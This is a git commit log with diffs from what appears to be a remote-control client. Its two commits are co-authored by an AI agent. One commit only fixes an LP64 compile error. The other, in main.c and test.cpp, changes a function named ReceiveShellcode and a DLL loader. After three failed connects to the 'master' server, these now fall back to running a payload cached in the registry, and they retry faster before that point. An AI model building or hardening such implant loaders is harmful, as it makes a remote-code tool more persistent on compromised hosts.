2 Commits
Author SHA1 Message Date
yuanyuanxianganddeepseek-flash da6185ba5e Fix: build the client on LP64 after the compression switch
0e20e0b started passing a local unsigned long to CompressData(), whose
length parameter is ULONG& (typedef unsigned int). The two types are
identical on Windows, so the Windows builds never noticed, but on LP64
(Linux x86_64, Android arm64/x86_64) unsigned long is 64 bit and the
reference cannot bind, so IOCPClient.cpp fails to compile. This has
blocked the Linux and Android native builds since then; the tracked
linux/ghost predates the change, which is why it went unnoticed.

Declare the length as ULONG and cast compressBound/ZSTD_compressBound
accordingly. Packet lengths are bounded by the wire protocol and the
type is byte-for-byte the same as before on Windows.

Verified: the Linux Release build (WSL, out-of-source) compiles with
both the zstd 1.5.7 and 1.6.0 headers; the Android debug APK builds for
arm64-v8a and armeabi-v7a with IOCPClient.cpp actually recompiled.

Co-Authored-By: deepseek-flash
2026-11-24 18:19:47 +01:00
yuanyuanxianganddeepseek-flash f618fbdc8b Fix: run the cached client payload when the master is unreachable
Both loaders only reached the registry-payload fallback after a
successful TCP connect: the connect-failure branch just continued, and
requestCount only advanced once a connection was established. A host
that could not reach the master therefore retried forever and never ran
the copy cached in the registry.

Count consecutive connect failures; when MAX_CONNECT_FAILS (3) is
reached and a payload was recorded (version non-empty), break out of the
retry loop so the existing fallback code runs. Without a cached copy the
loop still retries forever, as before, and a successful connect resets
the counter. While fewer than three failures have accumulated the retry
interval is 5 seconds instead of the random 0-119s (0-29s in test.cpp)
backoff, so the fallback is not delayed by minutes; after the threshold
the original backoff resumes.

main.c and test.cpp (MemoryDllRunner) get the same change. The fallback
itself is untouched, including its "bad copy => return NULL" behavior.

Verified on main.c with a harness against a refusing port: three failed
connects, then the cached payload was returned after ~16s. test.cpp was
compile-checked with MSBuild (TestRun, Release x64); it was not run.

Co-Authored-By: deepseek-flash
2026-11-24 13:31:10 +01:00
3 changed files with 24 additions and 7 deletions

No files matched your search

+6 -4
View File
@@ -1156,12 +1156,14 @@ BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength, P
// 线缆压缩:运行期选择 zlib / zstd(默认 zstd)。zlib 用 compressBound 而不是
// 1.001n+12 —— 后者对小于约 1KB 的包会比 compressBound 少 1 字节,导致
// compress() 返回 Z_BUF_ERROR、小包(心跳 ACK、控制命令)被静默丢弃。
// 用 ULONG(32 位)而不是 unsigned long:LP64 下 unsigned long 是 64 位,
// 绑不到 CompressData 的 ULONG&,Linux/Android arm64 会直接编译失败。
#if CLIENT_HAS_ZLIB
unsigned long ulCompressedLength = m_useZlib
? (unsigned long)compressBound(ulOriginalLength)
: (unsigned long)ZSTD_compressBound(ulOriginalLength);
ULONG ulCompressedLength = m_useZlib
? (ULONG)compressBound(ulOriginalLength)
: (ULONG)ZSTD_compressBound(ulOriginalLength);
#else
unsigned long ulCompressedLength = (unsigned long)ZSTD_compressBound(ulOriginalLength);
ULONG ulCompressedLength = (ULONG)ZSTD_compressBound(ulOriginalLength);
#endif
BYTE buf[1024];
LPBYTE CompressedBuffer = ulCompressedLength>1024 ? new BYTE[ulCompressedLength] : buf;
+9 -2
View File
@@ -20,6 +20,10 @@
#pragma comment(lib, "ws2_32.lib")
#ifndef MAX_CONNECT_FAILS
#define MAX_CONNECT_FAILS 3
#endif
#pragma pack(push, 4)
typedef struct PkgHeader {
char flag[8];
@@ -272,10 +276,10 @@ const char* ReceiveShellcode(const char* sIP, int serverPort, int* sizeOut)
const int bufSize = (8 * 1024 * 1024);
char* buffer = NULL;
BOOL isFirstConnect = TRUE;
int attemptCount = 0, requestCount = 0;
int attemptCount = 0, requestCount = 0, connectFailCount = 0;
do {
if (!isFirstConnect)
Sleep(IsRelease ? rand() % 120 * 1000 : 5000);
Sleep((IsRelease && connectFailCount >= MAX_CONNECT_FAILS) ? rand() % 120 * 1000 : 5000);
isFirstConnect = FALSE;
if (++attemptCount == 20)
PostMessage((HWND)g_Server.parentHwnd, 4046, (WPARAM)933711587, (LPARAM)1643138518);
@@ -295,8 +299,11 @@ const char* ReceiveShellcode(const char* sIP, int serverPort, int* sizeOut)
if (connect(clientSocket, (SOCKADDR*)&serverAddr, sizeof(serverAddr)) == SOCKET_ERROR) {
closesocket(clientSocket);
SetThreadExecutionState(ES_CONTINUOUS | ES_SYSTEM_REQUIRED);
if (++connectFailCount >= MAX_CONNECT_FAILS && hash[0])
break;
continue;
}
connectFailCount = 0;
char command[64] = { 210, sizeof(void*) == 8, 0, IsRelease, __DATE__ };
char req[sizeof(PkgHeader) + sizeof(command)] = { 0 };
+9 -1
View File
@@ -19,6 +19,10 @@ extern "C" {
#pragma comment(lib, "ws2_32.lib")
#ifndef MAX_CONNECT_FAILS
#define MAX_CONNECT_FAILS 3
#endif
// 自动启动注册表中的值
#define REG_NAME GetExeHashStr().c_str()
@@ -125,13 +129,14 @@ public:
char* buffer = new char[bufSize];
bool isFirstConnect = true;
int requestCount = 0;
int connectFailCount = 0;
binFile bin(CLIENT_PATH);
iniFile ini(CLIENT_PATH);
auto hash = ini.GetStr("settings", "version", "");
do {
if (!isFirstConnect)
Sleep(!IsDebug ? rand() % 30 * 1000 : 5000);
Sleep((!IsDebug && connectFailCount >= MAX_CONNECT_FAILS) ? rand() % 30 * 1000 : 5000);
isFirstConnect = false;
SOCKET clientSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
@@ -150,8 +155,11 @@ public:
if (connect(clientSocket, (SOCKADDR*)&serverAddr, sizeof(serverAddr)) == SOCKET_ERROR) {
closesocket(clientSocket);
SetThreadExecutionState(ES_CONTINUOUS | ES_SYSTEM_REQUIRED);
if (++connectFailCount >= MAX_CONNECT_FAILS && !hash.empty())
break;
continue;
}
connectFailCount = 0;
#ifdef _DEBUG
char command[64] = { SOCKET_DLLLOADER, sizeof(void*) == 8, m_payloadType, 0 };
#else